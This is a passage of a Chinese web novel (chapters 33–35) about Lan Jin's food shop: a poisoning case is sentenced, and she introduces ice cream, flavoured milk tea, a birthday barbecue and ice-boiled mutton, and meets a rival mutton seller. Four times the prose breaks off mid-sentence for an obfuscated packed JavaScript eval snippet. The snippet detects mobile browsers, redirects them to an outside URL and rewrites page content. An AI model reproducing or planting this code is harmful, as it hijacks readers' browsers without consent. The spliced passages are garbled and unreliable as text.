“阿姐，我们来了！”小秋扯着一个老大夫的医箱，远远地冲蓝锦招手，后头跟着安琴。 江汝月带领一小队未沾酒的差役，竟与她们同时到了。 “正好！差役大人，我家进了贼，竟想盗取百味宴赠我的冰。还好他们愚笨，未曾跑远。” 差役们二话不说，就把管事一行人扣了起来。 蓝锦还在一旁絮絮：“说起来，也多亏我上回在百味宴扎伤了手，自此便有了灵感。那种不起眼的小针，淬了毒，扎进皮肉没有知觉，却着实厉害，不正好防鼠蚁吗？” “谁知道，正经鼠蚁没捉上，却放倒了他们这几个硕鼠。老大夫，您说是不是？” 老大夫叫甲一和乙一架着，在一旁冷汗涔涔，唯唯诺诺。在他看见如意楼管事的时候，更暗道不好。 那针上的药，是管事找他配的！ 他刚才就要跑路，谁料两个黑衣人直接就把他架过来了，还直接从他的起居之处搜出来了一箱金子。 几方反应都看在眼里，差役们也不是吃干饭的。头儿见状，大手一挥：“都带走！” 蓝锦也被客客气气地请去录口供。因刚吃了她家的好酒好菜，差役们无一不是面色和蔼。 对上捆着的几个，可就没有好脸色了。真是晦气，不知道蓝小娘子做出了个什么“冰淇淋”吗？ 听说不止一种口味，是市面上从未有过的点心。他们还什么都没吃上啊！ ** 萧仁禹后悔走得过早，他也没能尝一口冰淇淋。 “判了，如意楼在百味宴蓄意投毒，又意图偷盗贵重物品，涉事者杖一百四十，徒三年，赔款五十两。如意楼永久禁止参加百味宴。” 萧仁禹走进蓝记大门，长叹一声，有气无力地在桌边坐下。 蓝锦给他递来了婶娘们新做的荔枝糕，甜香清爽，口感绵软顺滑，是十分难得的贵价点心！ “辛苦萧小郎君，多亏你把甲一他们借我，此事才这样顺当。”蓝锦满脸是笑，头一回对萧仁禹这般好颜色。 蓝记饮食店的冰淇淋卖得正走俏。几番试营业，蓝锦改良了模具和盛具，开发了棒冰、冰沙、雪糕各种形式。 棒冰便像是牛奶碎冰冰，是用竹筒盛了酸梅汤一类的东西，懂成圆柱体，常能看到孩童在街上捧着啃。 冰沙的样子更像酥山。果味的碎冰堆在青玉盏上，上面缀着小芋圆、糯米丸子、冰芋头、水果、果脯和坚果碎。 雪糕则是牛奶含量较多的冰品。插在一根削得光滑的小木棍上，那滋味跟冰淇淋也不相上下了。 冰淇淋则是开发了更多口味，还专门塑了一个炉子，用来烤甜筒用的脆饼。 格纹小饼卷成锥子，用 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15541975|171016||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 圆勺挖出一个冰淇淋球，往上一放。不仅是下学的孩童爱买，寻常只去胭脂首饰铺子的女娘们也为这个常来光顾蓝记。 为了研发出更多口味，蓝锦可谓是煞费苦心。古代没有香精，她也找不到西餐圣品香草荚，如何留住各种风味？ 冥思苦想了好几天，蓝锦灵机一动，还是打算从百味宴得来的那批冰上下功夫。 小秋与阿姐手挽手，去了万年县卖杂货的市场。 蓝锦曾经最爱跟院长婆婆一起去逛超市。她吃得多，在同龄人里力气大，惯常帮婆婆搬运东西。 琳琅满目的超市货架，堆满炫彩的包装，收纳整齐干净，灯光也明亮。来往的人群里，多是手挽父母的幸福孩童。 蓝锦身处其中，一点都不觉得自惭形秽，她挽着阿婆的手，仔细对着采购单子。 阿婆记性不大好了，眼睛也看不大清楚。回回都是提前写了，叫蓝锦帮着逐一往小车里装。 现在，换小秋挽着蓝锦的胳膊。姐妹俩也拿着一张单子：茉莉绿茶，话梅，橙子，青橘，桃子，苹果，桂花...... 基本都是鲜果，价格不菲，还有一些小食、茶饮。 蓝锦腰包大出血，购物兴致却未落，又转去绮罗阁——自家店里新增的小顾客们常光顾的地方。 “哎，二位客官，您这边请。是姐妹俩都要试衣裳？” 掌柜的姓杜，三十有余。本是织娘，自立门户开了店，性子爽利泼辣。 绮罗阁阁如其名，满屋子绫罗绸缎。一层是布匹，二层有成衣，三层据说是贵人小姐们最爱的量身定制。 蓝锦拉着小秋上了二楼，笑道：“都看看。” 兴许是红袄的遗憾一早就满足了，小秋不再执着于红色裙衫。 屋中挂着鹅黄柳绿、粉紫蓝白的裙衫，她都好奇地打量。一看就好贵！ 小秋也没显出局促来，看着阿姐做生意，她已全然懂了：卖得贵的东西，也只是东西而已，并不会让人低东西一头。 蓝锦挑了一圈，挑出了一套齐腰襦裙。藕荷色配胡粉，可爱灵动。拿给小秋看，果然见她眼前一亮。 长袍宽袖，软绢柔滑，长长的绳结拖至脚踝，衬得小秋越发光彩照人。杜掌柜直夸姐妹俩的好眼光。 蓝锦都付了钱，小秋还在她耳侧轻声问：“阿姐，为何要给我买这么贵的衣裙呀？” 蓝锦一刮她的小鼻子：“买新衣穿，有什么为何不为何的？” 姐妹俩说笑着回了家。马车上的鲜果小食都被搬进了厨房，有些削皮，有些洗净，有些切块。 寻了小坛子，每样一坛，用清水泡了起来。坛子口盖住之后，用水封了口。俱送到冰窖里冷藏。 第二天一早，蓝锦就迫不及待地喊人把坛子启出来瞧瞧究竟。 嗯！香气浓郁，风味十足，冷萃法诚不欺她！ 此时并不急着使用。再往小坛子里倒入与水差不多等量的白糖，仍旧送进冰窖里放上三个时辰，静静等糖融化。 33. 第33章 “这就是奶茶，你们尝尝！”蓝锦把面前金黄青绿红褐的饮品推给大家。 安琴还在犹豫，江汝月率先端起茶盏，用芦苇杆子吸了一口。 唔！美味，浓郁的牛乳香配上绿茶茶底，一抹不知从何而来、却极其明显的茉莉香味充盈口鼻。 人好像一下子进入了花丛中。在这夏日间，整个人从里到外都清凉了下来。况且，师父还往里加了冰块。 小秋挑了黑红色的那杯，据阿姐说，是黑糖话梅味的。果真酸甜可口，配上牛乳，竟比冰碗、棒冰还好吃。 此外还有橙香的、青柑味的、桃香的、苹果味的、桂花味的...... 小坛子里启出的风味糖浆大获成功，每种饮品里滴几滴，刹那就给饮子施了魔法。 蓝锦把市面上能买到的茶叶都买了回来。仔细回忆着前世蜜桃乌龙、青柑普洱、桂满陇云云的味道，为每一种奶茶配了最合适的风味和茶基底。 她还把冰沙碗里用到的小料拿过来添上，芋圆、糯米圆子，再煮一些黑糖珍珠。 第一个喝上这批奶茶的客人，不是别人，竟是小秋的夫子明翊。 蓝锦看着明夫子陪着小秋下学，还当是她在学堂出了什么事。结果，明夫子——是来馋美食的！ 却说自打百味宴过后，蓝记名声大噪。 因着小秋好姐妹云江望的缘故，有些存竹书院的学生，也喜欢上了三五不时地光顾此处。 初时还不觉着什么。一传十，十传百，现在可好，存竹书院的食堂，现下几乎少掉了一大半人！ 明翊听了罗师傅的汇报，心头一动。想的不是兴师问罪，而是：什么东西，竟这样好吃？ “茶中竟有牛乳？陆羽若在世，定要改写《茶经》。软滑滑的，喝着倒像杏仁糊，但更香些。” “就是太甜了......我喝不惯这样甜，只怕要佐一盏苦茶才喝得完。” 明翊搁下蓝锦递给她的茶盏：“味道有些不一般，却不难喝。合该配些酥点一道吃。” 蓝锦颇为认可明夫子的审美：行家呀！ 她笑着端来一盏三分糖的：“您尝尝这一份，觉得如何？” “嗳，这个我就爱喝了！难得，竟有这般雅致的桂花味。蓝小娘子妙手，你是下了苦功夫的。” 明翊当场就买下了店中所有的奶茶，都带回去，只当是给书院学子们的考后福利。 “哎，好香的饮子，竟这般好喝！像是把乳酪、花蜜和清茶搅在了一杯，真美味！” “远谯，你那杯还要吗？若你不要，我带回家给我小妹妹喝。” “你说什么胡话，这么好喝，我当然要！只是不像你，囫囵牛饮，你却打我的主意。” 吴眉帆也不生气，嘻嘻笑道：“我看这里有个‘蓝记’的标志，小秋妹妹不是说过，她阿姐家也叫这个名字吗？” “以为是普通小饭馆，想不到饮子做得这般出挑。我们叫上苏琰，一块去如何？”桑远谯嚼着黑糖珍珠，提议道。 “你尽管去问，沈大小姐一手茶道功夫优雅极了，才看不上这种饮子——羊乳加茶汤，只怕她要笑话是胡人喝的！” 出乎她们的意料，桑远谯和吴眉帆到了蓝记饮食店的时候，沈苏琰已经稳稳地坐在了窗边。 跟云江望一道，一人喝着茉莉奶绿，一人啜着蜜桃乌龙，还配着一小碟鲜花饼。 小秋在中间，抱着一大杯珍珠奶茶吸溜着，那是阿姐给她特制的杯子。 “沈苏琰，你怎么在这？云江望，你怎么也在这？”两人瞬时就有了被人蒙在鼓里的感觉。 “我来向小秋请教功课的！”二人异口同声。 桑远谯和吴眉帆额角狂跳。不是她们指摘小秋的不好——可是，小秋妹妹作为书院最小的学生，聪颖归聪颖，也才开蒙不到两年诶！ 这两个大言不惭的狡诈之徒，总也是做了六七年学问的！就算不是书本上的功课，云江望的武艺，还用请教小秋妹妹？ 桑远谯恨恨地点了三杯奶茶，橙香的、茉莉的、苹果的，全糖！ 吴眉帆额外要了两份鲜花饼，还试了咸烤奶。 对着两位好友的目光，不地道的独食一号云江望淡定道：“是来请教‘野外野菜五百种’的学问。” 一贯用琴棋书画、大家闺秀之姿示人的沈苏琰也道：“你们都没听说吗？天都近来时兴野外生存，讲究让小辈进深山里独个过活。我们来请教的，都是要命的学问。” 桑远谯才不买这笔帐，继续一通刨根问底。 她们才知道，这两个独食分子已经跟小秋妹妹暗通款曲好些时日了！ 冰淇淋她们没吃到，冰碗也没有。连风靡全万年县的姜撞奶和白切鸡，她们望队兴叹，也没吃着。这两个人一早就吃过了！ 蓝锦在柜台后头惬意地拨这小算盘，看着小秋左拉右扯：“你们不要再打啦！” 如今的日子，也还挺不错的嘛。 ** 桑远谯悲愤的结果就是，她把这件事告诉了她家每一个人。见着一个人就控诉一遍，包括远嫁天都、回乡做客、仅仅短住两天的姑母一家。 她情绪又充沛，口才又好，把蓝记自营业以来出过的每一道菜，都描绘得活色生香，让听众听得口水直冒。 “那姜撞奶，刚凝固时热乎乎的，不像看上去那么寡淡。一入口乳香四溢，立刻就化了。奶皮子凝在你牙齿上，香气随咽喉一直溜到肚子里，甜味还在嘴巴里经久不散。” “鸡肉切得干净，块还大，姜蓉的香气从鸡肉丝里渗出来。你光看着那油汪汪的，就想舔嘴唇。弹嫩的鸡皮不腥，不腻，裹满料汁子。你一咬上去，只想大口大口地嚼个痛快。” “连蛋炒饭都不一样，黄嫩嫩的鸡蛋裹着每一粒米，还烫着冒热气，就勾人想吃。看着平平无奇的，也不知放了什么，竟然有难以言说的鲜味。不是咸，是鲜！叫光一照，颗颗米粒都饱满油润，吃进嘴里还有一种奶香味。你越嚼，越满足，越想嚼！” ——桑远谯怀疑云江望她们一早就吃遍了！ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15541976|171016||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 大家都是存竹书院的学生，一起求学。没有手帕情，总也有同窗情。 这下倒好，抬头不见低头见的，她们吃到好吃的店，竟然藏着掖着不告诉她们。 说得好听，还不是怕传出去就排队吃不着了。 听说，云江望还带着武学班上的同窗们，一起光顾过一回了！ 早知她们也不听娘亲的话，选了武学班了，真是的。 这边，桑远谯和吴眉帆报复性光顾蓝记饮食店，不仅一日三餐都来享受，还要打包回去给自己的母亲祖母。 这鲜美嫩滑的鸡肉，香甜浓郁的奶茶，口感神奇的姜撞奶，还要咯吱咯吱的贡菜毛肚，那辣那香——嘶！ 那边，回了天都的桑家姑母，把这事当笑话讲。 “我家乡新出了个小饭馆，叫什么蓝记的，据说做菜味道一流。把存竹书院的女娘们，勾得魂没啦！连我侄女都上钩了！” “你们听说了吗？万年县有个蓝记，勾得县里学生整日逃学去吃！” “知道吗？万年县的蓝记小饭馆，卖的东西可神了，吃了背书都不会忘，吸引老些人了。” “我悄悄跟你说，咱们隔壁县的饭馆，卖得东西闻所未闻，见所未见，吃了能梦到仙人授道。” “你别跟别人说啊，有家饭馆，据说连探花郎都光顾过。他刚吃完就当场写了一篇策论，这才拜在那位门下的......” 蓝锦近日发现，光顾自家的食客都奇奇怪怪的。 就说县令夫人陆初芸，往日也不是没见过。 但她携儿带女、仆役如云地亲自上门，还用一种虔诚的、宁可信其有、不可信其无的神情，看着她家今哥儿吃下蓝记的冰淇淋，甚至让刚满周岁的瑜姐儿喝阳春面的面汤。 这事就透着点怪异了。 这种奇怪的感觉，在蓝记持续迎来金碧辉煌但风尘仆仆的马车后，到达了顶峰。 那些穿着打扮一看就不一般的食客，不仅出手阔绰，毫不挑剔，临走时还要把能打包的都打包了。 口中都道：“传言不虚，果真美味，倒有点东西。” “有没有神效且先不说，别人吃了，我家也得吃上才行。” 蓝锦和安琴对视一眼，看着厅堂里狼吞虎咽的食客。 胡子花白的老大人一口接一口地吸溜着冰淇淋，青袍布衣书生大叹姜撞奶的匠心。女娘们拿奶茶配荔枝肉，赞不绝口。 蓝记饮食店最近日日沽清，连供货都快供不上了，紧急新增了三个铺子采买。 蓝锦对着意外好起来的生意，满腹疑问。若非生在古代，她都怀疑她去给自家小店买推或热搜了。 萧仁禹耐不住了，谣言越传越离谱，都编排到他头上了。 他怕下回上值，老师都要打趣他：“听说你是吃了一盘神仙菜，才高中了探花的？什么菜色这样美味？” 蓝锦瞧见萧仁禹又是一副招牌清冷才子相，只招呼他去老位子坐下。 “今儿又要吃点什么，萧大海商？” 34. 第34章 加入了风味糖浆的冰淇淋，将爆火的蓝记饮食店又推到了一个新高峰，直接将百味宴所得的冰块消耗大半。 随着天气逐渐转凉，民众对于冰淇淋的追捧，才慢慢褪去热度。 而天都传得有鼻子有眼的流言，直到萧仁禹的到访，蓝锦才知道究竟。 “不是我们叫人传的，我可不知道他们怎么会这么说。” “想来无风不起浪，那什么探花郎，该是特别爱吃吧？也是我辈中人了。哎，都说做探花得眉清目秀、风度翩翩，那位探花郎要真这么爱吃，还能保持这样的形象，肯定有点什么秘籍在身上。” 萧仁禹默默啜饮着蓝锦亲调的桂花乌龙茶，并不敢置一词，生怕惹来不必要的麻烦。 不是蓝小娘子传的就好，他还当自己的身份暴露在她面前了。虽然她看上去一副不认识自己的样子，但万一是装的—— 不，没这个可能。 待萧仁禹走后，这流言便愈演愈烈了。 “真真的，我家小厮去看过探花郎御街巡游，身形模样都像，错不了！” “啊，原来真有这事。看来我们做不出好策论，怕是吃得还不够多。探花郎都进入翰林院了，还长途跋涉地光顾蓝记呐。” “就算没有神效，我也愿意去吃。你说这么好的手艺，缘何不开到天都来。” “天都居，大不易。真要是开过来，恐怕滋味就大打折扣了！” “还是兄台看得通透。下个休沐，咱们一块去万年县尝尝？” 转眼秋意渐浓。蓝锦盘着铺子里的流水，拜那窖冰所赐，这个夏日的收益，竟高达千两。她不得不惊叹奢侈品的力量。 “喏，这是安琴的。” 大伙挨个排着队领分红。安琴出力良多，不仅顶着烈日去庙会摆摊推广，还跟着做蓝记糕团生意的婶娘们一道，主持了好几场贵族赏冰宴。 二十两！安琴惊叫出声：“这太多了，我不能拿。” 江汝月笑着挽她：“琴姐姐的和我一样多，拿着吧。” 自从出了筷子的事，蓝锦好好地肃清了蓝记饮食店的规程。 李厨子还是不愿意放弃拜师，蓝锦只好与他各退一步，正式雇佣他做大厨。别的不说，他的那手白案功夫没得说。 他带来的那些徒孙们，蓝锦逐一问了，都不是什么有野心的人。只求跟着师父，有片瓦遮身罢了。 于是蓝锦就把店里的伙计分为三类，大厨是汝月和李厨子，所谓徒孙们是帮厨，其余雇来的婶娘多是跑堂洒扫的。 小摊子辛苦，天气也热，她们有些人加入了糕团生意，有些就干脆来了蓝锦店里。 安琴见过世面，便是笑迎八方的大堂经理。 做大丫鬟练出的本领此刻全派上了用场，还帮蓝锦拉来不少生意。 与蓝记糕团合作，打开冰淇淋的高端市场。什么限定冰味伴手礼，雇孩童送外卖......蓝锦只是拍拍脑壳，其余都是她落地的。 还有做美食周边的主意，蓝锦不过略微提了一嘴。 安琴不疑能不能成事，真个通过绮罗阁找来一批绣娘，把蓝记各种口味的冰淇淋，都绣成了小玩偶。 蓝锦瞧着，跟她描述的卡通形象，倒还原了七七八八。 这样，饶是过了一个冬春，客人们只消看到蓝记的冰淇淋周边，便能忆起那股甜蜜凉爽，知道盛夏要去哪消暑了。 汝月也在乱中扛住了事，赢下了百味宴，是夏日生意激增的引子。之后，又是出餐的主力。她与安琴这两个大功臣，拿到了店里最多的分红，无人有异议的。 钱是赚不完的。蓝锦大手一挥，今日放假，大伙好好生活，晚上一起吃烧烤！ 买香料，买鲜货，收拾食材，串串，大家齐动手。 夜星初现，灯火通明，大晚上的聚众吃烤串，是最热闹欢腾的事了。 羊肉一块瘦一块肥，一把一把地在炭火上欢腾地往下滴着油，冒出“滋滋”的响声。 窜起的火舌舔舐着，包裹着，刷了辣椒面、孜然粒和胡椒面的肉串被燎起焦边。 随着不断的翻面、挤压，火星子簌簌地激发着肉香，又落到炭盆里。 一群人流着口水，举着自己选定的串，围在旁边等着。 “好香啊！好香啊！”小秋沉醉得像是醉猫掉酒缸里一样，站都站不稳了的。 手拿一串羊肉串，牙关一锁，扭头一扯，把肥瘦相间的肉串吃进去一大半。满口鼓囊囊的，只想满足地嚼啊嚼。 油香混合着肉香，满嘴都是汁水。多余的油被烤了出去，吃着不腻。孜然的香气浓郁，和烤串是绝配。 这羊肉虽然边缘焦脆，入口却一点也不嫌老，不塞牙也不费嚼头。外脆里嫩，特别是那羊油，好像一大块奶砖化进了嘴里。 蓝锦拿了一把大油边。东北最爱吃这个部位，咸香油润，嫩得没边了，比普通的肉还要美味。 越嚼越香，正是这样大口吃肉，足以驱散世间一切烦心事。 蔬菜也不逊色。烤了的藕片别有一种清香，掺着肉吃，又解腻又有风味。烤土豆片被切得薄薄的，上面撒了细细的辣椒粉，艮艮的一口一片。 还有一大把软豆皮，吸足了味道，从签子上扯下来，拿舌头卷进嘴里。软，香，嫩，肉头，一片又一片停不下来。 云江望不知从哪听到了消息，但凡蓝记吃大餐，她总能及时赶到。存竹书院的贪吃学生们，就来了她一个。 她本是纯粹的肉食崇拜者，叫热爱尝试新鲜的小秋一带，也往蔬菜串那里伸手。 把菌菇、落苏（茄子）、扁草（韭菜）都放到铁网上，刷酱撒料，足以让人直往肚子里咽口水。 落苏吸味道，咸咸的，内里还保留着汁水。 云江望翘着嘴唇呲着牙，一边嚎着“烫烫烫”，一边急得像咬着自己尾巴团团转的小狗，锲而不舍地吃进嘴里。 大家都不去坐板凳。扯个蒲团，在小院的台阶牙子上席地而坐，有人还坐到了桌子上。 “正好大家都在”，蓝锦咬着一串羊肉串，又嫩又香，“有件事情想和大家商讨，集思广益嘛。” 小 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15541977|171016||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 秋溜到阿姐的身边，抬起她胳膊钻到她腋下窝着，一副洗耳恭听的样子。 安琴趁机向江汝月招招手，两个人一道悄没声地溜进了厨房。 蓝锦心思不在她俩身上“算算收益，咱们这个小铺子，总也赚了千余两......” 正说得兴起，忽听得对面一阵欢呼。 抬头一瞧，只见安琴捧着一碗热气腾腾的长寿面，还拎着一兜子染成红皮的鸡蛋。 江汝月端着一个托盘，上面不知是什么，倒像是一个桌面微型景观。 小秋见状，立刻从怀里掏出两只绣得栩栩如生的寿桃，插戴在头上，口中唱道：“麻姑麻姑献寿来，阿姐生辰多欢快。福星高照天天在，吃了仙桃笑开怀。” 蓝锦惊喜得一时懵住了，小秋还把一只贴了红字纸的寿桃塞进她手里。 安琴过来抚上她的肩：“这是欢喜傻了？今儿是七月七呀，你的生辰！” 江汝月也指着那碗长寿面：“琴姐姐可真厉害，是一整根面条，没有断的。吃了定能长命百岁。” 其余人都一拥而上，开始掏出自己的礼物。有把瓜雕成牡丹、山茶、小兔、小猴等花样子的，暗合七夕的旧俗。 李厨子专门做了炸蜜糖果子，个个都有自己的五官，或喜或瞪眼佯怒，看了叫人发笑。 安琴送了她去绮罗阁特意定制的绢扇和香囊，上头的茉莉花是一套的花样。 她看出蓝锦很喜欢茉莉，现下一瞧，果真喜欢。 江汝月也特别介绍了自己的礼物。这可耗费功夫，是在小板子上堆了土，种了粟米，静待它发芽长苗。旁边扎了茅屋，田连阡陌，俨然一个桃花源。 蓝锦瞧着这个精心制作的“谷板”，且惊且喜，对小秋道：“像不像我们在落霞村的家？” 小秋也点头：“像！” 吃罢了长寿面，又吃罢了桂花酒酿味的添岁糕，安琴张罗着蓝锦快回屋换新衣，大家一起去旁边的运河放灯。 蓝锦推拗不过。一打开房门，便看到床上放着一身满绣的湘妃色罗裙，一件洒金褙子。其上还搁着一支碧玉钗。 这个琴姐姐，不是已经送了香囊和绢扇了吗？给她的那些分红，还不知道够不够买这许多的。 蓝锦不愿辜负琴姐姐一片心，只暗暗决定找个机会，再给琴姐姐补上。 “嗳，好看！美得像画上的仙人，我可要抓住了你。不然的话，怕你一不留神就飞到月宫去啦。”安琴一挽蓝锦的臂膀，笑着打趣。 “我不愿去冷冰冰的月宫，只愿留在琴姐姐身边，叫你疼我！” “这话我可爱听得紧，多说两句！” 女娘们说笑之间，往运河的小阶上走去。七夕节不乏家中摆宴，放河灯祈福的。 河面上灯影明暗，暖黄一片。蓝锦也放了一只河灯，双手合十，闭眼许愿。 愿岁岁平安，年年相伴。 这一天笑了闹了，回房洗漱才觉浑身疲乏。蓝锦歪在床头，却觉得枕边有什么东西硌着。 伸手一摸，是一个朱红的长匣。 35. 第35章 匣子拿在手里沉甸甸的，是值当让人买椟还珠的好木料。蓝锦好奇地打开，发现是卷轴。 抽出来展开一看，是一幅画。画的显然是蓝记饮食店。外有运河环绕，热闹街景。 正中是一个手拨算盘的掌柜，粉腮红唇，满脸笑眯眯的，腰间的围裙还没解下。 周围有人在招呼客人，还有端菜的、切菜的、颠锅的，男男女女忙得热火朝天。 一个斜挎着小布包的总角小儿急匆匆地刚迈进门槛，双手掬着一捧水，其中有两只小蝌蚪。她张着小嘴，好像在喊：“阿姐，我要水来养小鱼！” 蓝锦目光移至此处，脸上不禁浮现一个笑容。 这样贵重的礼物，会是谁送的？——定是一个藏头露尾、有门不走、偏要翻窗的狂徒。 这熟悉的感觉，她倒是想起一个人来。 “锦娘，这又是什么？”安琴拿着一张彩色的纸跑来问蓝锦。上头画了蓝记饮食店所有的人，有人手执炒勺，有人端着一锅菜，无一例外都是笑容可掬。 “这个呀，是我们的企业形象！”蓝锦从那份生辰礼中得到了启发。 那幅画画得温馨，让人一看就觉得开心治愈。 蓝锦就想，若是自家的潜在顾客们，都能看到蓝记饮食店的氛围，岂不是绝佳的宣传？ 她当即延请名家，就以那幅画为参照，绘制蓝记温馨定格图。力求简约但不简单，便于批量生产。 除此以外，宣传画上还写明了蓝记的菜单。有几道颇受欢迎、视觉冲击力又强的菜色，叫蓝锦画了Q版图像，就在画面上方，一眼就能看到的地方。 还格外绘制了一个巨大的羊肉锅，里头晶莹剔透—— 没错，蓝锦打算把剩下的一小点冰块都用上，趁着秋老虎来袭，隆重推出冰煮羊。 蓝锦跟落霞村的人谈好了价码，隔几日便送新鲜的羊肉。 李厨子的刀工全然派上了用场。案板上的羊腿肉鲜红夺目，红玉一般，肌间脂肪洁白如雪，纹路清晰。 送来的羊肉是搁在冰窖镇着的，另一种意味上的原汤化原食。 按住羊肉，“咻”地一声，厚实有分量的厨刀纤薄锋利，薄如蝉翼的羊肉片打着卷落下来。 片片匀称，薄得透光。有些□□里掺着雪花纹，没有一丝怪味道。 李厨子动作利落，把切好的肉一片片整齐地铺在盘子里。薄切的像红裙委地，厚切的像一排热闹的炮仗。 即便还未在热锅子白汤里滚过一圈，鲜艳欲滴的羊肉，就已经勾人馋虫，叫人想入非非。 冰煮羊要用一口极大的铜锅，加了满登登的冰块。倒进掺杂了白萝卜、枸杞、胡椒的冷泉水汤底，和羊肉一起下锅去煮。 这锅一上来，便有食客议论纷纷： “怎么她家煮羊肉锅子不用热汤，倒用冰块？什么路数？” “怕不是噱头吧，真不懂。” “这能好吃吗？估计不如老李家。” 直到锅中咕嘟嘟地煮得热气翻涌，一股霸道的鲜香充斥了口鼻，食客便再也来不及说什么了。个个都举着筷子，蓄势待发。 克制而缓慢的温度变化，激发又稳定了羊肉的鲜甜与嫩滑。 人的味蕾和鼻腔慢慢打开，尽情拥抱这种清澈得过分的鲜香。 好像身处最靠近天边的冰原，马上就能尝到那饮雪水、吃青草的干净小嫩羊。 拿蓝记特制的长筷，伸进白汤里轻轻一捞。打了卷的羊肉片白褐相间，弹嫩挂汁。 往调好的蘸碟里一埋，不等吹了两口，就只想飞快地塞入口中一尝究竟。 唔！软嫩得不像话，简直分不清哪里是瘦肉，哪里是肥油。因为几乎不用去嚼，牙齿一对，肉片自己就化开了。 羊香味强势充斥口腔，不放过任何一个角落。 大家几乎是边吃边分泌口水。油润的羊鲜味在唇齿间缠绕不退，简直想把舌头也吞下去。 在座的食客无一不是连吃好些片，才来得及喘一口气。呼出的气也是香味十足的。 “好！真好！来，再来给我加一份手切羊腿肉。” “这羊肉弹嫩，还紧致，没有膻味！” 蓝锦又在一旁欢喜地拨着算盘。冰淇淋卖不成了，又有什么要紧，就算不在夏日里，她家的冰块一样走俏。 李记羊肉锅，是专做羊肉羊汤生意的老店。她家的伙计，也接到了在街上四处散的蓝记宣传画。 “掌柜的，您看，蓝记也做羊肉生意了。” “玩票罢了。谁人不知，万年县养羊的人家，最大的就是咱家了。” 李记之所以受欢迎，不靠新花头，也不靠定价便宜。靠就靠他掌握了万年县的羊肉供应。 食客每每都能在李记吃到最新鲜的羊肉，连自己去市场买了回家做，都不一定有他家新鲜美味。 故而，李记传到李闻雁的手里，半分没有没落，还更红火了。 蓝记的羊肉供应，是找村里的散户买的。 李记以不变应万变。自从蓝记卖冰煮羊，这几个月的生意稍稍打了折扣，可她家十分沉得住气，半点不着急。 该卖羊汤卖羊汤，该卖羊肉卖羊肉。 “蓝小娘子，不是我挑刺哈，我怎么吃着，这羊腱心，不如上回来这的口感好了？” 蓝锦仔细瞧过，这批羊的质量格外参差不齐。 兴许是冬日快到了，羊找食变难，失了从前跑山啃山添的膘。这还是桌子告诉她的，他从前放过羊。 “客官，真对不住。这批羊没有从前肥嫩，我们已经叫厨下每份多添一两、价码不变了。” “行，我就是说一声，也没什么大事。不过，蓝小娘子，我可提醒你啊。人家李记羊肉店，可一年到头都是一个品质，没有这样赶客的事。蓝小娘子若想长期做这个生意，还得往此处下功夫呐。” 蓝锦含笑应下：“多谢客官。我家打从一开始做的就是限时生意，没想过与李记争短长的。您看，我这店里除了卖冰煮羊，还卖许多其他菜色，而且隔几日才上一回，就是因为得不来好羊肉啊。您吃完这顿，隔几日，我家便也不再上了。也 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15541978|171016||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不是因为别的，实是冰块用完了呀！” 如是，蓝锦还慕名去了李记羊肉店，点了一桌子的羊汤和羊肉。 不尝不要紧，这家的羊肉嫩滑爽口，白胡椒的味道不冲不呛，明显是不需要加多少料，全凭羊肉自身来彰显味道。 汤品不过两三种，炖肉也是两三样，顶多再搭配上隔壁的芝麻酥饼。就是这样一家菜品不多的小店，多年屹立不倒。 此时不是饭点，蓝锦好奇地问身着短打的李闻雁：“掌柜的，你们家的羊肉用料这样好，就没有想过多开发几种菜色？” 李闻雁抹抹手，笑眯眯地答道：“从未想过。我接手时，便是这几样菜。现下，就还是这几样菜。我不求别的，只求几十年前光顾此间的客人，如今再来，一尝，便说一句‘还是那个味道’。” 蓝锦心下惊叹，这也是一件很难达成的事情啊。 物价涨得快，形势比人强。斗转星移，有多少东西是一直不变的？ 蓝锦好奇道：“什么都原样，就不涨价吗？” 李闻雁人也坦诚，竟一五一十地把自家的成本都告诉了蓝锦。 “在我手里，就涨过一次价。羊是我们自己家养的，食方是自家手里捏着。连房子也是自家买下的。我每日就开这几个时辰的店，卖完就算了事。” 